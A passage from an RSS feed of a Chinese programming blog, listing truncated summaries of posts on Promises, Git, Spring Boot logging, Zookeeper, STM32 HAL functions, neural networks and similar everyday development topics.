      <guid>https://bchobby.github.io/posts/fe8d147de391b05b064351ad8dc2a684/</guid>
      <description>1. 是什么 Promise是一种异步编程的解决方案，用于处理异步操作并返回结果。&#xA;主要作用是解决回调函数嵌套（回调地狱）的问题，使异步操作更加清晰、易于理解和维护。&#xA;2. 怎么用 Promise有三种状态：pending（进行中）、fulfilled（已成功）和rejected（已失败）。当一个Promise被创建时，它的状态为pending。当异步操作完成并成功时，Promise的状态会变为fulfilled，并返回一个结果。当异步操作失败时，Promise的状态会变为rejected，并返回一个错误信息。&#xA;基本语法 // 创建一个promise let promise = new Promise(function(resolve, reject) { // 异步操作 if (异步操作成功) { resolve(value); // 将异步操作的结果传递给Promise对象，状态变为fulfilled } else { reject(error); // 将异步操作的错误信息传递给Promise对象，状态变为rejected } }); promise.then(function(result) { // 异步操作成功时的处理代码 }).catch(function(error) { // 异步操作失败时的处理代码 }); 常用方法 then&#xA;then中一般传入两个参数（函数），第一个对应resolve成功的回调，第二个对应reject失败的回调，如下&#xA;function onResolved(res) { console.log(&#34;resolved-&#34; + res); // resolved-成功了 } function onRejected(err) { console.log(&#34;rejected-&#34; + err); // rejected-失败了 } new Promise((resolve, reject) =&amp;gt; { resolve(&#39;成功了&#39;); // reject(&#39;失败了&#39;) }).</description>
    </item>
    <item>
      <title>Git提交代码仓库的两种方式</title>
      <link>https://bchobby.github.io/posts/2f08e893e15a5ccdfcf687fd4d2ce213/</link>
      <pubDate>Fri, 14 Apr 2023 22:48:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f08e893e15a5ccdfcf687fd4d2ce213/</guid>
      <description>一: 两种本地与远程仓库同步 &#34;&#34;&#34;&#xA;1）你作为项目仓库初始化人员：&#xA;线上要创建空仓库 =&amp;gt; 本地初始化好仓库 =&amp;gt; 建立remote链接(remote add) =&amp;gt; 提交本地仓库到远程(push)&#xA;2）你作为项目后期开发人员：&#xA;远程项目仓库已经创建成功 =&amp;gt; 复制远程仓库到本地(clone) =&amp;gt; 进入仓库就可以进行接下来的开发&#xA;&#34;&#34;&#34;&#xA;1 git 远程仓库 1.创建一个空项目，如果选择.gitignore和开源许可，那么创建的创建就不是一个空仓库，会存在: 1 .gitignore 2 LICENSE 开源许可 2.创建完成的空仓库 提交本地版本库操作&#xA;1.初始化 git init 2.查看当前状态 git status 3.提交到暂存区 git add . 4.查询当前状态 git status 5.提交到本地的版本库 git commit -m &#39;第一次提交&#39; 提交到远程版本库操作&#xA;1.Git 全局设置:&#xA;git config --global user.name &#34;www.zhang.com&#34; git config --global user.email &#34;10311112+wwwzhang-com@user.noreply.gitee.com&#34; # 注意: 如果邮箱设置的是别人的邮箱，那么提交到远程仓库就会显示别人的头像与名称 git config --global user.email &#34;10311112+wwwzhang-com@user.noreply.gitee.com&#34; 2.</description>
    </item>
    <item>
      <title>Spring Boot实战：操作日志记录实现技巧详解</title>
      <link>https://bchobby.github.io/posts/2e2a3904f9d266ea824befb85e391206/</link>
      <pubDate>Fri, 14 Apr 2023 22:25:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e2a3904f9d266ea824befb85e391206/</guid>
      <description>文章目录 1. 添加依赖2. 自定义 Log 注解3. 定义 LogAspect 切面4. 使用注解5. 总结拓展：日志记录接口返回结果 在实际开发中，我们经常需要记录用户的操作日志，以便进行追踪和分析。使用 AOP（面向切面编程）可以方便地实现操作日志的记录。本文将介绍如何使用 Spring Boot 和 AOP 进行操作日志记录。 1. 添加依赖 首先，需要在 pom.xml 文件中添加 AOP 相关的依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-aop&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.aspectj&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspectjweaver&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2. 自定义 Log 注解 为了标记需要记录操作日志的方法，我们可以定义一个 Log 注解：&#xA;@Target(ElementType.METHOD) @Retention(RetentionPolicy.RUNTIME) public @interface Log { String operation() default &#34;&#34;; // 操作内容 } Log 注解中包含一个 operation 属性，用于记录操作内容。&#xA;3. 定义 LogAspect 切面 接下来，我们需要定义一个 LogAspect 切面来实现操作日志的记录。LogAspect 切面需要使用 @Aspect 和 @Component 注解进行标记，表示它是一个切面并且可以被 Spring 管理。</description>
    </item>
    <item>
      <title>java基础</title>
      <link>https://bchobby.github.io/posts/df7759872e49dfa342518015262abb95/</link>
      <pubDate>Fri, 14 Apr 2023 20:13:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df7759872e49dfa342518015262abb95/</guid>
      <description>注释：&#xA;⭐注释分别为三种：单行注释、多行注释、文档注释；&#xA;⭐单行注释：“//”&#xA;⭐多行注释：以“/*”开始“*/”结束&#xA;⭐文档注释：以“/**”开始“*/”结尾&#xA;标识符：&#xA;⭐所有的标识符都应该以字母（A-Z或者a-z）、美元符号、下划线和数字构成；首字母不能以数字开头；&#xA;⭐不能使用关键字作为变量名或方法名；&#xA;⭐标识符大小写敏感；&#xA;⭐可以用中文字命名；&#xA;数据类型：&#xA;⭐数据类型分为两类：基本类型、引用类型&#xA;⭐基本类型：数值类型、boolean类型&#xA;⭐数值类型分为数值类型、浮点类型、字符类型；&#xA;数值类型：byte（一个字节）、short（两个字节）、int（四个字节）、long（八个字节）&#xA;浮点类型：float（四个字节）、double（八个字节）&#xA;字符类型：char（两个字节）&#xA;⭐Boolean类型：占一个字节；值只有true和false两个；&#xA;⭐引用数据类型：类、接口、数组；&#xA;public class Helloworld { public static void main(String args[]) { System.out.println(&#34;Hello world&#34;); } } 用jdk编译并执行代码：&#xA;编译：javac Helloworld.java&#xA;执行：java helloworld</description>
    </item>
    <item>
      <title>【附源码】Java计算机毕业设计猫眼电影购票网（程序&#43;LW&#43;部署）</title>
      <link>https://bchobby.github.io/posts/60d8a1bdcf1dff94daa3432ec844931d/</link>
      <pubDate>Fri, 14 Apr 2023 18:46:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60d8a1bdcf1dff94daa3432ec844931d/</guid>
      <description>项目运行&#xA;环境配置：&#xA;Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX（Webstorm也行）+ Eclispe（IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持）。&#xA;项目技术：&#xA;java+ mybatis + Maven等等组成，B/S模式 + Maven管理等等。&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。&#xA;2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA;&#xA;3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可&#xA;4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS；&#xA;5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目&#xA;6.数据库：MySql 5.7/8.0等版本均可；&#xA;毕设帮助，指导，本源码分享，调试部署(见文末)&#xA;系统用例 本系统有主要分为三大部分组成，有登录，用户和管理员等用例。&#xA;登录模块用例中用户包括用户和管理员和二种角色，分别可以进行其对应的身份登录或取消登录，关闭系统。登录模块用例图如图3-1所示。 3-1 用户登录用例图&#xA;（2）用户模块主要包括主页，个人中心，用户分享管理，我的收藏管理等功能，用户模块用例图如图3-2所示。&#xA;图3-2 用户用例图&#xA;（3）管理员通过系统对可以实现网站系统管理，主要包括首页，个人中心，用户管理，电影类型管理，放映厅管理，电影信息管理，系统管理，订单管理等功能。管理员模块用例图如图3-3所示。&#xA;图3-3 管理员用例图&#xA;4系统设计 这章节主要是对系统总体设计，数据库设计等几个方面进行了详细的论述。&#xA;4.1系统总体设计 系统总体设计即对有关系统全局问题的设计，也就是设计系统总的处理方案，又称系统概要设计。它包括系统规划与系统功能设计等内容。&#xA;猫眼电影购票网主要有两类用户。分别是管理员和用户，详细规划如图4-1所示。&#xA;图4-1 系统规划图&#xA;其中各子模块的主要功能如下：&#xA;1、用户登录：用户进入网页先输入用户名与密码，选择权限登录，用户登录成功，要记录登录的用户名和登录类型。&#xA;2、新用户注册：新用户填写用户名，密码，姓名，手机，邮箱等信息完成注册操作。&#xA;3、查看网上电影购票信息：用户登录成功后，能够按分类或者查找网上电影购票信息进行管理。&#xA;4、主页内容管理：管理员登录以后，可以对首页，个人中心，用户管理，电影类型管理，放映厅管理，电影信息管理，系统管理，订单管理进行详细操作。&#xA;4.2数据库设计 数据库是一个软件项目的根基，它决定了整个项目代码的走势，同时也决定了整个项目在后期的维护以及升级的难易程度。&#xA;4.2.1 数据库概念设计 根据猫眼电影购票网的功能需求，对数据库进行分析，得到相应的数据，设计用户需要的各种实体，以及相互之间的关联，为逻辑结构设计铺好路。根据所实体内的各种具体信息得于实现。&#xA;1.用户注册信息实体&#xA;用户注册信息实体包括用户名，密码，确认密码，姓名，手机等属性。用户注册信息实体图如图4-2所示：&#xA;图4-2.用户注册信息实体图&#xA;2.电影资讯实体&#xA;电影资讯实体包括标题，简介，图片内容等属性；电影资讯实体图如图4-3所示：&#xA;图4-3电影资讯实体图</description>
    </item>
    <item>
      <title>[selenium]关于使用selenium启动safari浏览器</title>
      <link>https://bchobby.github.io/posts/b93ebc6146e96d9c3a0b5c69dad36cc5/</link>
      <pubDate>Fri, 14 Apr 2023 16:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b93ebc6146e96d9c3a0b5c69dad36cc5/</guid>
      <description> 目录 1.介绍2.具体配置3.启动代码 1.介绍 selenium支持多系统多浏览器,当我们在操作chrome或者firefox浏览器时,我们需要安装相应的驱动.这里我们就来说说如何操作safari浏览器吧.&#xA;其实要操作safari浏览器,也需要下载对应的驱动,但是safari浏览器已经帮助我们安装好了,所以我们只需要做一些配置就好了&#xA;2.具体配置 打开safari浏览器点击safari点击preferences点击Advanced勾选Show Develop menu in menu bar点击Develop勾选Allow Remote Automation现在你就可以运行你的代码了,如果遇到需要授权的点击允许就好了. 3.启动代码 Python: from selenium import webdriver from selenium.webdriver.safari.options import Options from time import sleep options = Options() driver = webdriver.Safari(options=options) driver.get(&#34;https://www.baidu.com&#34;) sleep(5) driver.quit() Ruby require &#39;selenium-webdriver&#39; driver = Selenium::WebDriver.for :safari driver.get(&#39;https://www.selenium.dev/selenium/web/web-form.html&#39;) sleep 5 driver.quit() </description>
    </item>
    <item>
      <title>Mac安装Xcode和Xcode Command Line Tools</title>
      <link>https://bchobby.github.io/posts/60ad8f8680cc93507b5acbe42b99861f/</link>
      <pubDate>Fri, 14 Apr 2023 15:51:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60ad8f8680cc93507b5acbe42b99861f/</guid>
      <description>在Mac上安装Xcode可以通过以下步骤进行： 打开Mac App Store应用程序。&#xA;在搜索框中输入“Xcode”，或者直接点击此链接前往Xcode的下载页面。&#xA;点击“获取”按钮，然后输入您的Apple ID和密码进行登录。&#xA;安装过程可能需要一些时间，取决于您的网络速度和Mac的性能。&#xA;安装完成后，您可以在“应用程序”文件夹中找到Xcode应用程序。&#xA;安装Xcode后，您可以使用它来开发和调试iOS和Mac应用程序，包括编写代码、构建应用程序、运行模拟器等。&#xA;如果您需要进行iOS UI自动化测试，则还需要安装Xcode Command Line Tools，您可以通过以下步骤进行安装： 打开终端应用程序。&#xA;输入以下命令并按回车键：&#xA;xcode-select --install 系统会提示您安装Xcode Command Line Tools，点击“安装”按钮即可。 安装完成后，您就可以在终端中使用命令行工具进行开发和测试了。</description>
    </item>
    <item>
      <title>最优控制 1：最优控制中不同情形下泛函取到极值的必要条件</title>
      <link>https://bchobby.github.io/posts/d28782ffdecfccbef6f49200702f3a53/</link>
      <pubDate>Fri, 14 Apr 2023 15:34:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d28782ffdecfccbef6f49200702f3a53/</guid>
      <description>最优控制 1：最优控制中不同情形下泛函取到极值的必要条件 最优控制 (1)：最优控制中不同情形下泛函取到极值的必要条件引言一般问题1. t 0 t_0 t0​ 固定， t 1 t_1 t1​ 固定， x 0 = x ( t 0 ) x_0=x(t_0) x0​=x(t0​) 固定， x 1 = x ( t 1 ) x_1=x(t_1) x1​=x(t1​) 固定2. t 0 t_0 t0​ 固定， x 0 = x ( t 0 ) x_0=x(t_0) x0​=x(t0​) 固定， t 1 t_1 t1​ 自由， x 1 = x ( t 1 ) x_1=x(t_1) x1​=x(t1​) 自由3. t 0 t_0 t0​ 固定， x 0 = x ( t 0 ) x_0=x(t_0) x0​=x(t0​) 固定， t 1 t_1 t1​ 固定， x 1 = x ( t 1 ) x_1=x(t_1) x1​=x(t1​) 自由4.</description>
    </item>
    <item>
      <title>mock、json数据、mockAjax.js的准备</title>
      <link>https://bchobby.github.io/posts/005f46c1e2b41bf107ffdbe607e443a4/</link>
      <pubDate>Fri, 14 Apr 2023 15:01:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/005f46c1e2b41bf107ffdbe607e443a4/</guid>
      <description>mock、json数据、mockAjax.js的准备 一、在项目中安装mockjs npm install mockjs 二、json数据准备 src &amp;gt; mock &amp;gt; floor.json [ { &#34;id&#34;: &#34;001&#34;, &#34;name&#34;: &#34;家用电器&#34;, &#34;keywords&#34;: [ &#34;节能补贴&#34;, &#34;4K电视&#34;, &#34;空气净化器&#34;, &#34;IH电饭煲&#34;, &#34;滚筒洗衣机&#34;, &#34;电热水器&#34; ], &#34;imgUrl&#34;: &#34;/images/floor-1-1.png&#34;, &#34;navList&#34;: [ { &#34;url&#34;: &#34;#&#34;, &#34;text&#34;: &#34;热门&#34; }, { &#34;url&#34;: &#34;#&#34;, &#34;text&#34;: &#34;大家电&#34; }, { &#34;url&#34;: &#34;#&#34;, &#34;text&#34;: &#34;生活电器&#34; }, { &#34;url&#34;: &#34;#&#34;, &#34;text&#34;: &#34;厨房电器&#34; }, { &#34;url&#34;: &#34;#&#34;, &#34;text&#34;: &#34;应季电器&#34; }, { &#34;url&#34;: &#34;#&#34;, &#34;text&#34;: &#34;空气/净水&#34; }, { &#34;url&#34;: &#34;#&#34;, &#34;</description>
    </item>
    <item>
      <title>AutoSAR软件组件开发的两类工作流程（Matlab/Simulink）</title>
      <link>https://bchobby.github.io/posts/da76e48eee0c33ec945f970b0b9cc6a9/</link>
      <pubDate>Fri, 14 Apr 2023 12:21:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da76e48eee0c33ec945f970b0b9cc6a9/</guid>
      <description>目录&#xA;前面&#xA;自顶向下&#xA;导入arxml文件&#xA;生成模型框架&#xA;搭建算法模型&#xA;生成代码&#xA;自下向上&#xA;前面 如何在Matlab进行AutoSAR软件组件SWC的开发？也就是下图红框标识出来的部分。&#xA;常规的有两种方式自顶向下与自下而上：&#xA;从上往下：从软件组件描述文件起步从下往上：从Simulink已有模型起步 自顶向下 首先，你需要在AutoSAR的架构设计工具中，比如Davinci DEV中设计好你需要的SWC，以及这个SWC的里有哪些Runnable，Interface，Port……然后导出arxml 文件。&#xA;然后，把上一步生成的arxml 文件导入到Matlab中，Matlab会自己识别，生成模型的框架，我们只需要在这个框架里开发我们的算法，生成符合AutoSAR代码，最后在编译环境中集成。&#xA;具体操作如下：&#xA;导入arxml文件 这里借用一个大佬的例子（ID：Qingniao_Avalon）&#xA;导入指令：&#xA;arObj = arxml.importer(&#39;SWC1.arxml&#39;) 这是第一步，已经导入了arxml文件，可以看到反馈，下一步是根据这个文件生成模型框架。&#xA;生成模型框架 输入指令&#xA;arObj.createComponentAsModel(&#34;/Components/SWC1&#34;, //上面导入文件后，生成的组件名字 &#34;ModelPeriodicRunnablesAs&#34;, //添加一个周期性的运行实体 &#34;FunctionCallSubsystem&#34;, //回调函数 &#34;DataDictionary&#34;,//数据字典 &#34;SWC_Data.sldd&#34;)//sldd 生成模型：&#xA;在10ms运行实体里可以看到，只有输入输出port，具体的内容是需要我们去搭建的。&#xA;打开AutoSAR工具箱&#xA;这里注意两个东西：AUTOSAR Dictionary 和 Code Mapping&#xA;AUTOSAR Dictionary是你这个SWC的所有信息：Runnable，interface，Port，Compu Method……&#xA;Code Mapping顾名思义，就是把你模型里的各种Port、subsystem与AUTOSAR Dictionary中你定义好的AUTOSAR组件联合起来。&#xA;搭建算法模型 如何搭建？其实就是在Runnable中把输入输出，按照自己的需要连起来。&#xA;比如我们这里先把他们都加起来，再求OR：&#xA;生成代码 Ctrl+B或者&#xA;自下向上 从Simulink已有模型起步。&#xA;首先，我们要搞清楚simulink组件到autosar组件的映射，可以看一下我这篇笔记，里面有详细的介绍；&#xA;基于Matlab/Simulink的软件组件开发 · 语雀&#xA;然后，在simulink中搭建模型（要与autosar组件能映射上）；&#xA;其次，在autosar工具箱中里，也就是AUTOSAR Dictionary中定义你需要的autosar组件；&#xA;再次，在Code Mapping里把两者映射起来；&#xA;最后，生成代码，生成arxml文件，导入到autosar配置工具中，把一些端口该连接的连接起来，生成 RTE代码。&#xA;关于直接在Matlab中搭建AUTOSAR的步骤，内容较多故放在下一篇博客里讲解。</description>
    </item>
    <item>
      <title>入门神经网络——浅层神经网络</title>
      <link>https://bchobby.github.io/posts/d546e2d23a7dc78c04632e0a246d2cfe/</link>
      <pubDate>Fri, 14 Apr 2023 11:35:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d546e2d23a7dc78c04632e0a246d2cfe/</guid>
      <description>文章目录 一、基础知识1.浅层神经网络介绍2.浅层神经网络的正向传播3.反向传播 二、浅层神经网络代码实例 一、基础知识 1.浅层神经网络介绍 此次构件浅层神经网络，相比于单神经元，浅层神经网络拥有多个神经元，因此又可以称为多神经元网络，如下图所示。&#xA;多神经元网络基本由三部分组成：输入层、隐藏层、输出层&#xA;**输入层：**最前面负责输入特征的层（注：在统计神经网络层数时通常不把这一层统计在内，像上图是一个2层的神经网络）。&#xA;**隐藏层：**中间的所有层称为隐藏层。&#xA;**输出层：**最后一层负责输出最后结果的层。&#xA;2.浅层神经网络的正向传播 以下图为例，首先分别计算第一层的每一个神经元的a，其中上标[]里的数字表示第几层，下标数字表示该层中的第几个神经元。&#xA;计算公式如下所示&#xA;此例子中的隐藏层的神经元个数为4个，但是当神经元个数较多时需要用向量的形式计算：&#xA;第一层：&#xA;第二层：&#xA;此例子中输入为单样本，当进行多样本输入训练时，&#xA;由此计算出 成本J，完成了依此正向传播。&#xA;3.反向传播 首先计算第二层的相关偏导数，与单神经元网络一致：&#xA;之后再计算第一层相关偏导数，由于第一层没有与损失函数直接相邻，只能通过链式法则。计算第一层相关偏导数时，首先需要计算出dZ[1],dW[1],db[1]都可以通过dZ[1]求得。&#xA;之后再进行向量化，最终得到反向传播后计算的相关偏导数如下所示&#xA;二、浅层神经网络代码实例 此次实例采用代码生成的虚拟数据集来演示，这个数据集由400个样本组成。这400个样本是400个颜色点。输入特征X是点的横纵坐标，标签Y是点的颜色标签（0表示红色，1表示蓝色）。&#xA;该样本点如下图所示：&#xA;此次的目标就是通过训练一个神经网络来通过坐标值判断在上图坐标系中某一点可能的颜色，例如坐标（-4，2）的点可能是什么颜色，（-4，3）最可能是什么颜色。将红色和蓝色的点区分出来。&#xA;import numpy as np import matplotlib.pyplot as plt import sklearn # 其它库之前我们都介绍过了。这个新库是用于数据挖掘，数据分析和机器学习的库，例如它里面就内置了很多人工智能函数 import sklearn.datasets import sklearn.linear_model # 生成数据集函数 def load_planar_dataset(): np.random.seed(1) m = 400 # number of examples N = int(m / 2) # number of points per class D = 2 # dimensionality X = np.</description>
    </item>
    <item>
      <title>面试题：Zookeeper的一些常见面试题及答案</title>
      <link>https://bchobby.github.io/posts/3d5d104d2ecdcd4bb2a794a1e86e70e0/</link>
      <pubDate>Fri, 14 Apr 2023 11:12:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d5d104d2ecdcd4bb2a794a1e86e70e0/</guid>
      <description>什么是Zookeeper？ Zookeeper是一个分布式协调服务，用于管理大规模分布式应用程序中的配置信息、命名服务、分布式锁、分布式队列等。&#xA;Zookeeper有哪些特点？ Zookeeper具有高可用性、高可靠性、高性能、一致性、可扩展性等特点。&#xA;Zookeeper如何实现分布式锁？ Zookeeper提供了一个临时节点的机制，可以用来实现分布式锁。一个客户端创建一个临时节点，如果创建成功则说明该锁已经被该客户端获取，如果创建失败则说明该锁已经被其他客户端获取，该客户端需要等待。当该客户端释放锁时，该临时节点也会被删除。&#xA;Zookeeper如何实现分布式队列？ Zookeeper可以使用顺序节点来实现分布式队列。当一个客户端需要向队列中添加数据时，它会创建一个顺序节点，并将数据写入该节点中。当另一个客户端需要从队列中取出数据时，它会获取当前队列中最小的节点，并从该节点中取出数据。&#xA;Zookeeper如何保证数据的一致性？ Zookeeper使用Zab协议来保证数据的一致性。Zab协议是一种基于Paxos算法的协议，它将Zookeeper集群中的所有节点分为两类：Leader和Follower。Leader节点负责处理客户端请求，并将更新操作广播给所有Follower节点，确保所有节点都有相同的数据副本。&#xA;Zookeeper如何实现主从备份？ Zookeeper可以使用Observer机制来实现主从备份。Observer节点类似于Follower节点，但不参与投票和决策。它只是被动地接收Leader节点的更新操作，并将其同步到本地数据库中。这样可以减轻Leader节点的负担，提高性能和可靠性。&#xA;Zookeeper如何实现数据的持久化？ Zookeeper可以使用快照和事务日志来实现数据的持久化。快照是Zookeeper当前内存状态的一份拷贝，可以用来恢复Zookeeper节点的状态。事务日志记录了所有的更新操作，可以用来恢复Zookeeper节点的状态和保证数据的一致性。&#xA;Q: Zookeeper的主要功能是什么？&#xA;A: Zookeeper的主要功能包括分布式锁、分布式队列、分布式协调等。&#xA;Q: Zookeeper的数据模型是什么？&#xA;A: Zookeeper的数据模型是树形结构，类似于文件系统。&#xA;Q: Zookeeper节点类型有哪些？&#xA;A: Zookeeper节点类型包括持久节点、临时节点、有序节点和临时有序节点。&#xA;Q: Zookeeper如何实现分布式锁？&#xA;A: Zookeeper可以通过创建临时节点实现分布式锁，每个节点都可以尝试创建同一个节点，但只有一个节点能够创建成功，创建成功的节点持有锁，其他节点需要等待锁被释放。&#xA;Q: Zookeeper如何实现分布式队列？&#xA;A: Zookeeper可以通过创建有序节点实现分布式队列，每个节点创建一个有序节点，按照节点的序号顺序执行任务，当任务执行完成后，删除对应的节点。&#xA;Q: Zookeeper的客户端和服务端如何通信？&#xA;A: Zookeeper的客户端和服务端通过TCP协议进行通信。&#xA;Q: Zookeeper如何保证数据的一致性？&#xA;A: Zookeeper使用ZAB协议来保证数据的一致性，ZAB协议可以保证数据的原子性和顺序性。&#xA;Q: Zookeeper的集群模式是什么？&#xA;A: Zookeeper的集群模式是主从模式，其中一个节点为主节点，其他节点为从节点，主节点负责接收客户端请求并将数据同步给从节点，从节点负责接收主节点传来的数据并保存到本地。</description>
    </item>
    <item>
      <title>Node.js简易爬虫</title>
      <link>https://bchobby.github.io/posts/1709da264370777a7b303d69cddb440c/</link>
      <pubDate>Thu, 13 Apr 2023 23:58:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1709da264370777a7b303d69cddb440c/</guid>
      <description>流stream 流是一组有序的、有起点和终点的字节数据的传输方式，在应用程序中各种对象之间交换与传输数据时，总是先将该对象中所包含的数据转换成各种形式的流数据（即字节数据），再通过流的传输，到达目的对象之后，再将数据转换为该对象中可以使用的数据&#xA;在Node的fs模块定义了一些与流相关的API&#xA;fs.createReadStream：得到一个ReadableStreamfs.createWriteStream：得到一个WritableStream data：当有数据可读时触发end：没有更多的数据可读时触发error：在接收和写入过程中发生错误时触发finish：所有数据已被写入到底层系统时触发 const fs = require(&#39;fs&#39;); let readStream = fs.createReadStream(&#39;E:\\GR\\nodejs\\test01\\lab06\\demo\\data.txt&#39;); let str = &#34;&#34;; readStream.on(&#39;data&#39;, function(chunk){ str += chunk + &#34;=======&#34;; }); readStream.on(&#39;end&#39;, function(){ console.log(str); }); readStream.on(&#39;error&#39;, function (err){ throw err; }); const fs = require(&#39;fs&#39;); let writeStream = fs.createWriteStream(&#39;E:\\GR\\nodejs\\test01\\lab06\\demo\\data.txt&#39;); let data = &#34;hello\n&#34;; let data1 = &#34;nice to meet you&#34;; writeStream.write(data, &#39;utf8&#39;); writeStream.write(data1, &#39;utf8&#39;); writeStream.end(); writeStream.on(&#39;finish&#39;, function (){ console.log(&#39;完成&#39;); }); writeStream.on(&#39;error&#39;, function (err){ console.log(err); }); console.</description>
    </item>
    <item>
      <title>制作词云（纯代码）</title>
      <link>https://bchobby.github.io/posts/c81cd40f7122848d5c31b6eb4d08620f/</link>
      <pubDate>Thu, 13 Apr 2023 23:24:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c81cd40f7122848d5c31b6eb4d08620f/</guid>
      <description>词云技术是一种将单词数据可视化的技术，通常将单词按照出现频率在一个图形中显示，单词在图形中的大小表示其出现的频率。&#xA;词云技术最初是为了数据挖掘和文本分析而开发的，但现在它已经成为了一种常见的数据可视化方式，常用于展示文章、调查问卷、舆情分析等文本数据，可以让用户快速了解文本的热点和关键词。&#xA;词云的生成一般包括以下步骤：&#xA;收集文本数据并进行处理，去除一些无用信息，例如停用词等；&#xA;对于每个单词计算其出现频率，可以使用Python的nltk和jieba等自然语言处理工具来实现；&#xA;根据单词的频率和一些其他的配置参数，使用词云库（例如wordcloud）来生成词云图像；&#xA;可以使用matplotlib库来展示词云，也可以将其保存为文件。&#xA;值得注意的是，词云并不是一种严格意义上的数据分析方法，它只能展示数据的一部分。在某些情况下，词云可能会产生误导性的信息，需要结合其他的数据分析方法来进行分析和判断。&#xA;def getText(filepath): f=open(filepath,&#34;r&#34;,encoding=&#39;utf-8&#39;) text=f.read() f.close() return text import jieba def wordFreq(filepath,text,topn): f=open(filepath,&#34;r&#34;,encoding=&#39;utf-8&#39;) text=f.read() words=jieba.lcut(text.strip()) counts={} for word in words: if len(word)==1: continue else: counts[word]=counts.get(word,0)+1 items=list(counts.items()) items.sort(key=lambda x:x[1],reverse=True) f=open(filepath[:-4]+&#39;_词频.txt&#39;,&#34;w&#34;) for i in range(topn): word,count=items[i] f.write(&#34;{}\t{}\n&#34;.format(word,count)) f.close() getText(r&#34;E:\大创\江苏省数字化公共服务能力提升路径研究\n2.txt&#34;) f=open(r&#34;E:\大创\江苏省数字化公共服务能力提升路径研究\n2.txt&#34;,&#34;r&#34;,encoding=&#39;utf-8&#39;) text=f.read() wordFreq(r&#34;E:\大创\江苏省数字化公共服务能力提升路径研究\n2.txt&#34;,text,70) # In[14]: import matplotlib.pyplot as plt import wordcloud from imageio import imread bg_pic=imread(r&#39;E:\大创\江苏省数字化公共服务能力提升路径研究\n.jpg&#39;) f=open(r&#34;E:\大创\江苏省数字化公共服务能力提升路径研究\n2_词频.txt&#34;) text=f.read() f.close() wcloud=wordcloud.WordCloud(font_path=r&#39;C:\Windows\Fonts\simhei.ttf&#39;,background_color=&#34;white&#34;,width=1000, max_words=500, mask=bg_pic, height=860,margin=2).generate(text) wcloud.to_file(&#34;n2cloud.jpg&#34;) plt.imshow(wcloud) plt.</description>
    </item>
    <item>
      <title>常用STM32F4HAL库函数及其示例</title>
      <link>https://bchobby.github.io/posts/f56531317f2f428e52aa91ecfb256f48/</link>
      <pubDate>Thu, 13 Apr 2023 22:57:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f56531317f2f428e52aa91ecfb256f48/</guid>
      <description>STM32F4HAL库函数是针对STM32F4系列微控制器的硬件抽象层，它封装了一些底层硬件操作，使程序员可以更方便地编写应用代码。以下是常用的一些STM32F4HAL库函数及其详细解释和示例。&#xA;GPIO库函数 HAL_GPIO_Init()：初始化GPIO口。&#xA;示例：初始化PF10引脚为推挽输出模式，输出高电平。GPIO_InitTypeDef GPIO_InitStruct = {0}; GPIO_InitStruct.Pin = GPIO_PIN_10; GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP; GPIO_InitStruct.Pull = GPIO_NOPULL; GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_MEDIUM; HAL_GPIO_Init(GPIOF, &amp;amp;GPIO_InitStruct); HAL_GPIO_WritePin(GPIOF, GPIO_PIN_10, GPIO_PIN_SET); HAL_GPIO_ReadPin()：读取GPIO口的状态。&#xA;示例：读取PA0引脚的状态。GPIO_PinState state = HAL_GPIO_ReadPin(GPIOA, GPIO_PIN_0); if (state == GPIO_PIN_SET) { // PA0引脚为高电平 } USART库函数 HAL_UART_Init()：初始化USART串口。&#xA;示例：初始化USART2串口，波特率为9600。UART_HandleTypeDef huart2 = {0}; huart2.Instance = USART2; huart2.Init.BaudRate = 9600; huart2.Init.WordLength = UART_WORDLENGTH_8B; huart2.Init.StopBits = UART_STOPBITS_1; huart2.Init.Parity = UART_PARITY_NONE; huart2.Init.Mode = UART_MODE_TX_RX; huart2.Init.HwFlowCtl = UART_HWCONTROL_NONE; huart2.Init.OverSampling = UART_OVERSAMPLING_16; HAL_UART_Init(&amp;amp;huart2); HAL_UART_Transmit()：发送数据到USART串口。</description>
    </item>
    <item>
      <title>HTTP协议</title>
      <link>https://bchobby.github.io/posts/9aa9f3eb840e2278563d9b10a2642144/</link>
      <pubDate>Thu, 13 Apr 2023 22:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9aa9f3eb840e2278563d9b10a2642144/</guid>
